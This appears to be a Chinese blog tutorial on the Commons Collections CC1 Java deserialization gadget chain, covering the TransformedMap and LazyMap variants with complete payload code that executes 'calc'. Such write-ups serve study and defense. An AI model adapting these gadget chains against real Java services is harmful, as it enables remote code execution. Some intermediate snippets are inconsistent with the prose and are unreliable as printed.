java反序列化-CC1的学习

1. 环境搭建

这里为CC1链,使用的JDK环境为JDK8u65,JDK下载链接为
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html
建立好项目后,会发现有一些代码为.class文件,这种不可用来寻找调用同名函数,而且代码难以读懂,因此我们需要提前对其进行配置,我们需要下载其对应java文件至JDK中,具体方法如下
首先下载有漏洞的版本,链接如下
https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4

下载完成后,在jdk目录下,解压src,发现缺少sun包,我们将jdk-af660750b2f4\jdk-af660750b2f4\src\share\classes下的sun包复制到我们的路径下


最后在idea中导入该src包就可以了,具体操作在idea页面点击文件->项目结构-> sdk->源路径->添加我们src的位置。

2. CC1 调用链

3. CC1 基于 TransformedMap 的实现

CC链的反序列化触发点为InvokerTransformer的transform方法,点击InvokerTransformer进行查看,发现当 input 不为空时,便会获得input的原形类,并通过反射获取iMethodName, iParamTypes,最后通过invoke执行。

在构造函数处发现参数的赋值,我们可以通过调用InvokerTransformer的构造方法来实现反射执行的我们的命令。

正常我们的命令执行的代码为:
Runtime.getRuntime().exec();
调用反射如下

Runtime r = Runtime.getRuntime();
        Class  c = Runtime.class;
        Method exec = c.getMethod("exec", String.class);
        exec.invoke(r,"calc");

这里简单改写下,改写为该类触发的形式

 InvokerTransformer invokerTransformer = new   InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        Runtime runtime = Runtime.getRuntime();
        invokerTransformer.transform(runtime);

开始部分完成后,通过寻找transform的同名方法调用,idea中右键选择查找用法即可。在TransformedMapcheckSetValue发现TransformedMap的调用,如果我们可以控制 valueTransformer 的值为 invokerTransformer 便可以实现命令执行。

通过查看该类的构造方法,发现可以初始化valueTransformer的值,但我们发现该构造方法是protected,我们不能直接调用,我们去寻找有没有其他方法调用该构造方法的

发现decorate的方法中调用了构造方法

因此,我们只需要将decorate的参数改为我们前面的invokerTransformer即可。
解决了valueTransformer的问题后,因为checkSetValue方法为protect,我们无法直接调用,因此我们这里查看其他方法谁调用了这个方法,进而实现控制此值。右键点击该方法,查看哪里调用了此方法,而后来到了AbstractInputCheckedMapDecorator的MapEntry类,查看它的setValue方法。

我们发现TransformedMap类是AbstractInputCheckedMapDecorator的继承类

通过查看该类的具体方法,可以发现我们可以通过控制setValue的方法就可以实现控制checkValue,因此我们这里需要一个entry(键值对)来调用它的setValue方法,所以这里遍历一个Map,获取它的entry

因为TransformedMapentrySet方法继承自AbstractInputCheckedMapDecorator,当使用该方法时,因为AbstractInputCheckedMapDecorator重写了setValue,便会触发
new EntrySet(map.entrySet(), this),将parent改为 TransformedMap,因为是TransformedMap调用的entrySet,this为TransformedMap

然后便可以通过entrysetValue执行 parent.checkSetValue(value),具体调用代码如下。

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map = new HashMap();
        Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
        map.put("key","value");
        for (Map.Entry entry:transformedMap.entrySet())
        {
            entry.setValue(Runtime.getRuntime());
        }

此时成功执行命令,接下来继续往下走,因为我们的最终目标是找到ReadObject方法中可以调用我们之前实现的链的方法,此时发现有一个类调用了readObject方法,跟进查看。可以发现就像设计好的一样,在AnnotationInvocationHandlerreadObject中正好调用了 setValue

并且正好发现了entry的遍历功能,所以我们就可以通过这个直接拿entry了。

查看该类的构造方法,发现为私有的,所以我们只能通过反射调用,且类也为私有,调用它只能通过包名来调用。

反射代码如下

Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);

接下来便可以实例化对象了,但这里要如何赋值呢,我们看源代码可以发现第一个参数为Class<? extends Annotation> type,这个其实是注解的意思,我们平常写的Override就是其中一种,这里暂时写他,第二个是Map,之前写好的即可,代码如下。

Object o = constructor.newInstance(Override.class,transformedMap);

此时和前文语句相组合,得到代码如下。

InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap map = new HashMap();
        Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,invokerTransformer);
        map.put("key","value");
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor Constructer = AnnotationInvocationHandler.getConstructor(Class.class,Map.class);
        Constructer.setAccessible(true);
        Object o = Constructer.newInstance(Override.class,transformedMap);
        Serialize(o);
        unserialize("ser.bin");

但此时代码还无法正常执行,以下是三个问题。

1、Runtime.getRuntime()这个是我们通过Runtime对象实现的,但Runtime对象没有继承Serializable
2、if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
在执行SetValue方法前,还有两个if语句,该如何进行绕过。
3、memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
这里传入的参数应该是Runtime.getRuntime(),但这个方法内的参数值我们不确定能不能控制

第一个问题很好解决,因为虽然Runtime没有继承Serializable,但是它的Class类,即Runtime.class是可以进行序列化的,因此我们这里用它来代替Runtime,然后用反射调用exec和getRuntime方法,再用invoke执行即可,具体代码如下

Class c = Runtime.class;
        Method getRuntime = c.getMethod("getRuntime");
        Method execMethod = c.getMethod("exec", String.class);
        execMethod.invoke(getRuntime.invoke(null,null),"calc");

接下来我们用一开始调用的方式,即用InvokerTransformer来进行改写,代码如下.

Method getRuntime =(Method) new InvokerTransformer("getMethod",new Class[]{String.class,String.class},new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime currentRuntime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(currentRuntime);

这是我们可以发现下一个transform调用的是上一个的transform。在寻找transform的同名方法调用时发现了ChainedTransformer

我们可以发现这个transform,每次都会调用上一个iTransformers的值。

所以我们将上面的代码通过ChainedTransformer进行改写。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        });
        chainedTransformer.transform(Runtime.class);

这样第一个问题就解决了。
第二个问题,首先查看第一个if语句。

String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);            
if (memberType != null) {

它这个是判断memberType是否为空,这个memberType是构造函数中传入的annotation的成员变量,name是从我们遍历的Map中获取的Key,因此要绕过这个if,我们必须使得注解中的成员变量与map中的key值相同,我们之前赋的注解是Override,跟进查看。

内部没有任何变量,肯定无法绕过第一个if。因此我们这里修改注解为Retention,它的下面有一个变量为Value,并且需要修改Key为value。

具体代码如下

 map.put("key","value");
Object o = Constructer.newInstance(Retention.class,transformedMap);

第一层if就绕过了,第二层if查看,memberType是一个Annotation,而Value是一个bbb,所以这里直接返回false,第二层if通过

if (!(memberType.isInstance(value) || //判断 value 是否 不是 memberType 所表示的类型
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }

第二个问题解决只剩最后一个问题,怎么控制 memberValue.setValue()的值。这时我们需要另一个transformerConstantTransformer类,具体代码如下

public ConstantTransformer(Object constantToReturn) {
        super();
        iConstant = constantToReturn;
    }
public Object transform(Object input) {
        return iConstant;
    }

可以发现它的transform不论接收什么,都会返回一个固定值。而这个固定值我们可以通过构造函数是初始化,所以我们只需要在chainedTransformer中加入ConstantTransformer就好。
整体实现代码如下。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        });
        HashMap map = new HashMap();
        Map<Object,Object> transformedMap =TransformedMap.decorate(map,null,chainedTransformer);
        map.put("value","bbb");
        Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor Constructer = AnnotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class);
        Constructer.setAccessible(true);
        Object o = Constructer.newInstance(Retention.class,transformedMap);
        Serialize(o);
        unserialize("ser.bin");

4. CC1 基于 LazyMap 的实现

上面是用的TransfomedMap中的checkSetValue()方法,这里我们还是有另一个方法可选的,即LazyMap中的get方法。

这里存在语句Object value = factory.transform(key),如果我们能控制factoryChainedTransformer,就可以实现命令执行,因此我们看factory的赋值语句。

因为该构造方法为protect,所以我们查看是否有地方调用了该构造方法,发现了decorate

赋值问题解决了,接下来解决哪里调用了get方法,最终确定到了AnnotationInvocationHandler.invoke这里。

这个memeberValues是什么呢,在该类中搜索一下,即可发现。

它是传入的Map,并且AnnotationInvocationHandler是一个动态代理调用处理类,当AnnotationInvocationHandler的任意方法被调用时就会自动调用invoke方法。这里我们发现该类存在ReadObject方法,这里最有趣的地方就是存在触发代理类的方法的地方。这里我们只要让memberValues为动态代理,当触发entrySet方法时,便会调用invoke

接下来我们来具体构造Payload,首先是invoke,它这里是有两个判断语句。

要实现后面的get方法,我们需要保证这两个if语句不能执行,因此我们这里首先不能让方法名是equals,然后需要它是无参方法才可以,这时可以发现readObject中恰好调用了memeberValues的entryset()方法,可以完美避开这两个if语句。
接下来构造动态代理,动态代理构造思路如下。

这里我们需要两个 AnnotationInvocationHandler,第一个 AnnotationInvocationHandler 中的 memberValues 的值为 Proxy,通过这样代理第二个 AnnotationInvocationHandler的动态代理,通过这样调用 Proxy.entrySet() 来触发它的 invoke 方法,Proxy 中 AnnotationInvocationHandler,即第二个代理的值为LazyMap,在Proxy 的 invoke 方法中调用了 LazyMap.get() 方法,触发 ChainedTransformer.transform ,之后便是 InvokeTransformer.transform的攻击链了。

来具体写一下Payload,前半部分是一样的,ChainedTransformertransform链依次调用。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        });

接下来是LazyMap的部分。

HashMap hashmap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);

接下来写对应的动态代理,因为AnnotationInvocationHandler是私有的,所以需要通过全包名来获取类,并通过反射调用构造方法。

Class AIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AIHC = AIH.getDeclaredConstructor(Class.class, Map.class);
        AIHC.setAccessible(true);
        InvocationHandler AIHCIH = (InvocationHandler) AIHC.newInstance(Override.class, lazymap);
        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},AIHCIH);
        Object o = AIHC.newInstance(Override.class,mapproxy);

完整 payload如下。

ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        });
        HashMap hashmap = new HashMap<>();
        Map lazymap = LazyMap.decorate(hashmap, chainedTransformer);

        Class AIH = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor AIHC = AIH.getDeclaredConstructor(Class.class, Map.class);
        AIHC.setAccessible(true);
        InvocationHandler AIHCIH = (InvocationHandler) AIHC.newInstance(Override.class, lazymap);
        Map mapproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},AIHCIH);
        Object o = AIHC.newInstance(Override.class,mapproxy);
posted @ 2024-06-14 15:00  nago  阅读(36)  评论(0)    收藏  举报